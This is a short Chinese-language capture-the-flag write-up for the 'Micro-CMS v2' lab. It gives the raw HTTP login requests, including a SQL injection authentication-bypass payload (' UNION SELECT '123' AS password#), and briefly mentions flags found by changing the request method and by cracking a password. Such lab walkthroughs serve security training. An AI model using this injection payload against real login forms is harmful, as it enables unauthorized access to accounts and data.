02.Micro-CMS v2

FLAG0

开始创建一个界面：

尝试登录，查看结果

尝试在用户名上加单引号，看到了报错信息

POST http://34.94.3.143/1da778d41b/login HTTP/1.1
Host: 34.94.3.143
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 32
Origin: http://34.94.3.143
Connection: close
Referer: http://34.94.3.143/1da778d41b/login
Upgrade-Insecure-Requests: 1

username=admin%27&password=admin

那就说明有注入。那我们就直接去拿admin去登录

用户名： ’ UNION SELECT ‘123’ AS password#

密码： 123

POST http://34.94.3.143/1da778d41b/login HTTP/1.1
Host: 34.94.3.143
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 63
Origin: http://34.94.3.143
Connection: close
Referer: http://34.94.3.143/1da778d41b/login
Upgrade-Insecure-Requests: 1

username=%27+UNION+SELECT+%27123%27+AS+password%23&password=123

登录成功

发现有个私有页面

得到了一个FLAG

FLAG1

我们再看看编辑页面，发现编辑页面竟然是GET，我们换成POST试试

得到了另外一个FLAG

FLAG2

我们再看看界面的内容，尝试一下破解一下密码

得到了一个密码，登录之后就得到了FLAG